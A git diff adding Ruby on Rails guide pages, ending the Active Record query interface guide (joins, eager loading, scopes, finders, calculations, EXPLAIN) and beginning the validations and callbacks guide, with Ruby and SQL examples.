+If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:
+
+<ruby>
+item = Item.first
+item.with_lock do
+  # This block is called within a transaction,
+  # item is already locked.
+  item.increment!(:views)
+end
+</ruby>
+
+h3. Joining Tables
+
+Active Record provides a finder method called +joins+ for specifying +JOIN+ clauses on the resulting SQL. There are multiple ways to use the +joins+ method.
+
+h4. Using a String SQL Fragment
+
+You can just supply the raw SQL specifying the +JOIN+ clause to +joins+:
+
+<ruby>
+Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
+</ruby>
+
+This will result in the following SQL:
+
+<sql>
+SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
+</sql>
+
+h4. Using Array/Hash of Named Associations
+
+WARNING: This method only works with +INNER JOIN+.
+
+Active Record lets you use the names of the "associations":association_basics.html defined on the model as a shortcut for specifying +JOIN+ clause for those associations when using the +joins+ method.
+
+For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models:
+
+<ruby>
+class Category < ActiveRecord::Base
+  has_many :posts
+end
+
+class Post < ActiveRecord::Base
+  belongs_to :category
+  has_many :comments
+  has_many :tags
+end
+
+class Comment < ActiveRecord::Base
+  belongs_to :post
+  has_one :guest
+end
+
+class Guest < ActiveRecord::Base
+  belongs_to :comment
+end
+
+class Tag < ActiveRecord::Base
+  belongs_to :post
+end
+</ruby>
+
+Now all of the following will produce the expected join queries using +INNER JOIN+:
+
+h5. Joining a Single Association
+
+<ruby>
+Category.joins(:posts)
+</ruby>
+
+This produces:
+
+<sql>
+SELECT categories.* FROM categories
+  INNER JOIN posts ON posts.category_id = categories.id
+</sql>
+
+Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:posts).select("distinct(categories.id)").
+
+h5. Joining Multiple Associations
+
+<ruby>
+Post.joins(:category, :comments)
+</ruby>
+
+This produces:
+
+<sql>
+SELECT posts.* FROM posts
+  INNER JOIN categories ON posts.category_id = categories.id
+  INNER JOIN comments ON comments.post_id = posts.id
+</sql>
+
+Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
+
+h5. Joining Nested Associations (Single Level)
+
+<ruby>
+Post.joins(:comments => :guest)
+</ruby>
+
+This produces:
+
+<sql>
+SELECT posts.* FROM posts
+  INNER JOIN comments ON comments.post_id = posts.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+</sql>
+
+Or, in English: "return all posts that have a comment made by a guest."
+
+h5. Joining Nested Associations (Multiple Level)
+
+<ruby>
+Category.joins(:posts => [{:comments => :guest}, :tags])
+</ruby>
+
+This produces:
+
+<sql>
+SELECT categories.* FROM categories
+  INNER JOIN posts ON posts.category_id = categories.id
+  INNER JOIN comments ON comments.post_id = posts.id
+  INNER JOIN guests ON guests.comment_id = comments.id
+  INNER JOIN tags ON tags.post_id = posts.id
+</sql>
+
+h4. Specifying Conditions on the Joined Tables
+
+You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables:
+
+<ruby>
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where('orders.created_at' => time_range)
+</ruby>
+
+An alternative and cleaner syntax is to nest the hash conditions:
+
+<ruby>
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where(:orders => {:created_at => time_range})
+</ruby>
+
+This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression.
+
+h3. Eager Loading Associations
+
+Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible.
+
+<strong>N <plus> 1 queries problem</strong>
+
+Consider the following code, which finds 10 clients and prints their postcodes:
+
+<ruby>
+clients = Client.limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+</ruby>
+
+This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total.
+
+<strong>Solution to N <plus> 1 queries problem</strong>
+
+Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the +includes+ method of the +Model.find+ call. With +includes+, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
+
+Revisiting the above case, we could rewrite +Client.limit(10)+ to use eager load addresses:
+
+<ruby>
+clients = Client.includes(:address).limit(10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+</ruby>
+
+The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case:
+
+<sql>
+SELECT * FROM clients LIMIT 10
+SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+</sql>
+
+h4. Eager Loading Multiple Associations
+
+Active Record lets you eager load any number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +includes+ method.
+
+h5. Array of Multiple Associations
+
+<ruby>
+Post.includes(:category, :comments)
+</ruby>
+
+This loads all the posts and the associated category and comments for each post.
+
+h5. Nested Associations Hash
+
+<ruby>
+Category.includes(:posts => [{:comments => :guest}, :tags]).find(1)
+</ruby>
+
+This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
+
+h4. Specifying Conditions on Eager Loaded Associations
+
+Even though Active Record lets you specify conditions on the eager loaded associations just like +joins+, the recommended way is to use "joins":#joining-tables instead.
+
+However if you must do this, you may use +where+ as you would normally.
+
+<ruby>
+Post.includes(:comments).where("comments.visible" => true)
+</ruby>
+
+This would generate a query which contains a +LEFT OUTER JOIN+ whereas the +joins+ method would generate one using the +INNER JOIN+ function instead.
+
+<ruby>
+  SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
+</ruby>
+
+If there was no +where+ condition, this would generate the normal set of two queries.
+
+If, in the case of this +includes+ query, there were no comments for any posts, all the posts would still be loaded. By using +joins+ (an INNER JOIN), the join conditions *must* match, otherwise no records will be returned.
+
+h3. Scopes
+
+Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as +where+, +joins+ and +includes+. All scope methods will return an +ActiveRecord::Relation+ object which will allow for further methods (such as other scopes) to be called on it.
+
+To define a simple scope, we use the +scope+ method inside the class, passing the query that we'd like run when this scope is called:
+
+<ruby>
+class Post < ActiveRecord::Base
+  scope :published, -> { where(published: true) }
+end
+</ruby>
+
+This is exactly the same as defining a class method, and which you use is a matter of personal preference:
+
+<ruby>
+class Post < ActiveRecord::Base
+  def self.published
+    where(published: true)
+  end
+end
+</ruby>
+
+Scopes are also chainable within scopes:
+
+<ruby>
+class Post < ActiveRecord::Base
+  scope :published,               -> { where(:published => true) }
+  scope :published_and_commented, -> { published.where("comments_count > 0") }
+end
+</ruby>
+
+To call this +published+ scope we can call it on either the class:
+
+<ruby>
+Post.published # => [published posts]
+</ruby>
+
+Or on an association consisting of +Post+ objects:
+
+<ruby>
+category = Category.first
+category.posts.published # => [published posts belonging to this category]
+</ruby>
+
+h4. Passing in arguments
+
+Your scope can take arguments:
+
+<ruby>
+class Post < ActiveRecord::Base
+  scope :created_before, ->(time) { where("created_at < ?", time) }
+end
+</ruby>
+
+This may then be called using this:
+
+<ruby>
+Post.created_before(Time.zone.now)
+</ruby>
+
+However, this is just duplicating the functionality that would be provided to you by a class method.
+
+<ruby>
+class Post < ActiveRecord::Base
+  def self.created_before(time)
+    where("created_at < ?", time)
+  end
+end
+</ruby>
+
+Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
+
+<ruby>
+category.posts.created_before(time)
+</ruby>
+
+h4. Applying a default scope
+
+If we wish for a scope to be applied across all queries to the model we can use the +default_scope+ method within the model itself.
+
+<ruby>
+class Client < ActiveRecord::Base
+  default_scope { where("removed_at IS NULL") }
+end
+</ruby>
+
+When queries are executed on this model, the SQL query will now look something like this:
+
+<sql>
+SELECT * FROM clients WHERE removed_at IS NULL
+</sql>
+
+h4. Removing all scoping
+
+If we wish to remove scoping for any reason we can use the +unscoped+ method. This is especially useful if a +default_scope+ is specified in the model and should not be applied for this particular query.
+
+<ruby>
+Client.unscoped.all
+</ruby>
+
+This method removes all scoping and will do a normal query on the table.
+
+h3. Dynamic Finders
+
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +first_name+ on your +Client+ model for example, you get +find_by_first_name+ and +find_all_by_first_name+ for free from Active Record. If you have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+ methods.
+
+You can also use +find_last_by_*+ methods which will find the last record matching your argument.
+
+You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+
+
+If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+.
+
+WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+.
+
+h3. Find or build a new object
+
+It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods.
+
+h4. +first_or_create+
+
+The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example.
+
+Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running:
+
+<ruby>
+Client.where(:first_name => 'Andy').first_or_create(:locked => false)
+# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+</ruby>
+
+The SQL generated by this method looks like this:
+
+<sql>
+SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
+BEGIN
+INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57')
+COMMIT
+</sql>
+
++first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
+
+The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+).
+
+It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method.
+
+You can do the same with the +find_or_create_by+ method:
+
+<ruby>
+Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false)
+</ruby>
+
+This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall.
+
+h4. +first_or_create!+
+
+You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
+
+<ruby>
+validates :orders_count, :presence => true
+</ruby>
+
+to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised:
+
+<ruby>
+Client.where(:first_name => 'Andy').first_or_create!(:locked => false)
+# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
+</ruby>
+
+As with +first_or_create+ there is a +find_or_create_by!+ method but the +first_or_create!+ method is preferred for clarity.
+
+h4. +first_or_initialize+
+
+The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick':
+
+<ruby>
+nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false)
+# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+nick.persisted?
+# => false
+
+nick.new_record?
+# => true
+</ruby>
+
+Because the object is not yet stored in the database, the SQL generated looks like this:
+
+<sql>
+SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
+</sql>
+
+When you want to save it to the database, just call +save+:
+
+<ruby>
+nick.save
+# => true
+</ruby>
+
+h3. Finding by SQL
+
+If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
+
+<ruby>
+Client.find_by_sql("SELECT * FROM clients
+  INNER JOIN orders ON clients.id = orders.client_id
+  ORDER clients.created_at desc")
+</ruby>
+
++find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+
+h3. +select_all+
+
+<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+
+<ruby>
+Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
+</ruby>
+
+h3. +pluck+
+
+<tt>pluck</tt> can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
+
+<ruby>
+Client.where(:active => true).pluck(:id)
+# SELECT id FROM clients WHERE active = 1
+# => [1, 2, 3]
+
+Client.uniq.pluck(:role)
+# SELECT DISTINCT role FROM clients
+# => ['admin', 'member', 'guest']
+
+Client.pluck(:id, :name)
+# SELECT clients.id, clients.name FROM clients
+# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+</ruby>
+
++pluck+ makes it possible to replace code like
+
+<ruby>
+Client.select(:id).map { |c| c.id }
+# or
+Client.select(:id).map { |c| [c.id, c.name] }
+</ruby>
+
+with
+
+<ruby>
+Client.pluck(:id)
+# or
+Client.pluck(:id, :name)
+</ruby>
+
+h3. +ids+
+
++ids+ can be used to pluck all the IDs for the relation using the table's primary key.
+
+<ruby>
+Person.ids
+# SELECT id FROM people
+</ruby>
+
+<ruby>
+class Person < ActiveRecord::Base
+  self.primary_key = "person_id"
+end
+
+Person.ids
+# SELECT person_id FROM people
+</ruby>
+
+h3. Existence of Objects
+
+If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
+
+<ruby>
+Client.exists?(1)
+</ruby>
+
+The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
+
+<ruby>
+Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+</ruby>
+
+It's even possible to use +exists?+ without any arguments on a model or a relation.
+
+<ruby>
+Client.where(:first_name => 'Ryan').exists?
+</ruby>
+
+The above returns +true+ if there is at least one client with the +first_name+ 'Ryan' and +false+ otherwise.
+
+<ruby>
+Client.exists?
+</ruby>
+
+The above returns +false+ if the +clients+ table is empty and +true+ otherwise.
+
+You can also use +any?+ and +many?+ to check for existence on a model or relation.
+
+<ruby>
+# via a model
+Post.any?
+Post.many?
+
+# via a named scope
+Post.recent.any?
+Post.recent.many?
+
+# via a relation
+Post.where(:published => true).any?
+Post.where(:published => true).many?
+
+# via an association
+Post.first.categories.any?
+Post.first.categories.many?
+</ruby>
+
+h3. Calculations
+
+This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
+
+All calculation methods work directly on a model:
+
+<ruby>
+Client.count
+# SELECT count(*) AS count_all FROM clients
+</ruby>
+
+Or on a relation:
+
+<ruby>
+Client.where(:first_name => 'Ryan').count
+# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+</ruby>
+
+You can also use various finder methods on a relation for performing complex calculations:
+
+<ruby>
+Client.includes("orders").where(:first_name => 'Ryan', :orders => {:status => 'received'}).count
+</ruby>
+
+Which will execute:
+
+<sql>
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+  (clients.first_name = 'Ryan' AND orders.status = 'received')
+</sql>
+
+h4. Count
+
+If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Average
+
+If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.average("orders_count")
+</ruby>
+
+This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Minimum
+
+If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.minimum("age")
+</ruby>
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Maximum
+
+If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.maximum("age")
+</ruby>
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Sum
+
+If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.sum("orders_count")
+</ruby>
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h3. Running EXPLAIN
+
+You can run EXPLAIN on the queries triggered by relations. For example,
+
+<ruby>
+User.where(:id => 1).joins(:posts).explain
+</ruby>
+
+may yield
+
+<plain>
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
+| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra       |
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
+|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |             |
+|  1 | SIMPLE      | posts | ALL   | NULL          | NULL    | NULL    | NULL  |    1 | Using where |
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus>
+2 rows in set (0.00 sec)
+</plain>
+
+under MySQL.
+
+Active Record performs a pretty printing that emulates the one of the database
+shells. So, the same query running with the PostgreSQL adapter would yield instead
+
+<plain>
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
+                                  QUERY PLAN
+------------------------------------------------------------------------------
+ Nested Loop Left Join  (cost=0.00..37.24 rows=8 width=0)
+   Join Filter: (posts.user_id = users.id)
+   ->  Index Scan using users_pkey on users  (cost=0.00..8.27 rows=1 width=4)
+         Index Cond: (id = 1)
+   ->  Seq Scan on posts  (cost=0.00..28.88 rows=8 width=4)
+         Filter: (posts.user_id = 1)
+(6 rows)
+</plain>
+
+Eager loading may trigger more than one query under the hood, and some queries
+may need the results of previous ones. Because of that, +explain+ actually
+executes the query, and then asks for the query plans. For example,
+
+<ruby>
+User.where(:id => 1).includes(:posts).explain
+</ruby>
+
+yields
+
+<plain>
+EXPLAIN for: SELECT `users`.* FROM `users`  WHERE `users`.`id` = 1
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
+| id | select_type | table | type  | possible_keys | key     | key_len | ref   | rows | Extra |
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
+|  1 | SIMPLE      | users | const | PRIMARY       | PRIMARY | 4       | const |    1 |       |
+<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus>
+1 row in set (0.00 sec)
+
+EXPLAIN for: SELECT `posts`.* FROM `posts`  WHERE `posts`.`user_id` IN (1)
+<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
+| id | select_type | table | type | possible_keys | key  | key_len | ref  | rows | Extra       |
+<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
+|  1 | SIMPLE      | posts | ALL  | NULL          | NULL | NULL    | NULL |    1 | Using where |
+<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus>
+1 row in set (0.00 sec)
+</plain>
+
+under MySQL.
+
+h4. Automatic EXPLAIN
+
+Active Record is able to run EXPLAIN automatically on slow queries and log its
+output. This feature is controlled by the configuration parameter
+
+<ruby>
+config.active_record.auto_explain_threshold_in_seconds
+</ruby>
+
+If set to a number, any query exceeding those many seconds will have its EXPLAIN
+automatically triggered and logged. In the case of relations, the threshold is
+compared to the total time needed to fetch records. So, a relation is seen as a
+unit of work, no matter whether the implementation of eager loading involves
+several queries under the hood.
+
+A threshold of +nil+ disables automatic EXPLAINs.
+
+The default threshold in development mode is 0.5 seconds, and +nil+ in test and
+production modes.
+
+INFO. Automatic EXPLAIN gets disabled if Active Record has no logger, regardless
+of the value of the threshold.
+
+h5. Disabling Automatic EXPLAIN
+
+Automatic EXPLAIN can be selectively silenced with +ActiveRecord::Base.silence_auto_explain+:
+
+<ruby>
+ActiveRecord::Base.silence_auto_explain do
+  # no automatic EXPLAIN is triggered here
+end
+</ruby>
+
+That may be useful for queries you know are slow but fine, like a heavyweight
+report of an admin interface.
+
+As its name suggests, +silence_auto_explain+ only silences automatic EXPLAINs.
+Explicit calls to +ActiveRecord::Relation#explain+ run.
+
+h4. Interpreting EXPLAIN
+
+Interpretation of the output of EXPLAIN is beyond the scope of this guide. The
+following pointers may be helpful:
+
+* SQLite3: "EXPLAIN QUERY PLAN":http://www.sqlite.org/eqp.html
+
+* MySQL: "EXPLAIN Output Format":http://dev.mysql.com/doc/refman/5.6/en/explain-output.html
+
+* PostgreSQL: "Using EXPLAIN":http://www.postgresql.org/docs/current/static/using-explain.html
diff --git a/guides/source/active_record_validations_callbacks.textile b/guides/source/active_record_validations_callbacks.textile
new file mode 100644
index 0000000000..b866337e3f
--- /dev/null
+++ b/guides/source/active_record_validations_callbacks.textile
@@ -0,0 +1,1323 @@
+h2. Active Record Validations and Callbacks
+
+This guide teaches you how to hook into the life cycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object life cycle.
+
+After reading this guide and trying out the presented concepts, we hope that you'll be able to:
+
+* Understand the life cycle of Active Record objects
+* Use the built-in Active Record validation helpers
+* Create your own custom validation methods
+* Work with the error messages generated by the validation process
+* Create callback methods that respond to events in the object life cycle
+* Create special classes that encapsulate common behavior for your callbacks
+* Create Observers that respond to life cycle events outside of the original class
+
+endprologue.
+
+h3. The Object Life Cycle
+
+During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data.
+
+Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state.
+
+h3. Validations Overview
+
+Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.
+
+h4. Why Use Validations?
+
+Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.
+
+There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations:
+
+* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
+* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
+* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run.
+* Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well.
+
+h4. When Does Validation Happen?
+
+There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
+
+<ruby>
+class Person < ActiveRecord::Base
+end
+</ruby>
+
+We can see how it works by looking at some +rails console+ output:
+
+<ruby>
+>> p = Person.new(:name => "John Doe")
+=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+</ruby>
+
+Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.
+
+CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.
+
+The following methods trigger validations, and will save the object to the database only if the object is valid:
+
+* +create+
+* +create!+
+* +save+
+* +save!+
+* +update+
+* +update_attributes+
+* +update_attributes!+
+
+The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the objects.
+
+h4. Skipping Validations
+
+The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.
+
+* +decrement!+
+* +decrement_counter+
+* +increment!+
+* +increment_counter+
+* +toggle!+
+* +touch+
+* +update_all+
+* +update_attribute+
+* +update_column+
+* +update_columns+
+* +update_counters+
+
+Note that +save+ also has the ability to skip validations if passed +:validate => false+ as argument. This technique should be used with caution.
+
+* +save(:validate => false)+
+
+h4. +valid?+ and +invalid?+
+
+To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were found in the object, and false otherwise.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :presence => true
+end
+
+Person.create(:name => "John Doe").valid? # => true
+Person.create(:name => nil).valid? # => false
+</ruby>
+
+After Active Record has performed validations, any errors found can be accessed through the +errors+ instance method, which returns a collection of errors. By definition, an object is valid if this collection is empty after running validations.
+
+Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :presence => true
+end
+
+>> p = Person.new
+=> #<Person id: nil, name: nil>
+>> p.errors
+=> {}
+
+>> p.valid?
+=> false
+>> p.errors
+=> {:name=>["can't be blank"]}
+
+>> p = Person.create
+=> #<Person id: nil, name: nil>
+>> p.errors
+=> {:name=>["can't be blank"]}
+
+>> p.save
+=> false
+
+>> p.save!
+=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+</ruby>
+
++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations, returning true if any errors were found in the object, and false otherwise.
+
+h4(#validations_overview-errors). +errors[]+
+
+To verify whether or not a particular attribute of an object is valid, you can use +errors[:attribute]+. It returns an array of all the errors for +:attribute+. If there are no errors on the specified attribute, an empty array is returned.
+
+This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :name, :presence => true
+end
+
+>> Person.new.errors[:name].any? # => false
+>> Person.create.errors[:name].any? # => true
+</ruby>
+
+We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default.
+
+h3. Validation Helpers
+
+Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the attribute being validated.
+
+Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.
+
+All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+  or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers.
+
+h4. +acceptance+
+
+Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :terms_of_service, :acceptance => true
+end
+</ruby>
+
+The default error message for this helper is "_must be accepted_".
+
+It can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1" and can be easily changed.
+
+<ruby>
+class Person < ActiveRecord::Base
+  validates :terms_of_service, :acceptance => { :accept => 'yes' }
+end
+</ruby>
+
+h4. +validates_associated+
+
+You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
+
+<ruby>
+class Library < ActiveRecord::Base
+  has_many :books
+  validates_associated :books
+end
+</ruby>
+
+This validation will work with all of the association types.
+
+CAUTION: Don't use +validates_associated+ on both ends of your associations. They would call each other in an infinite loop.
+
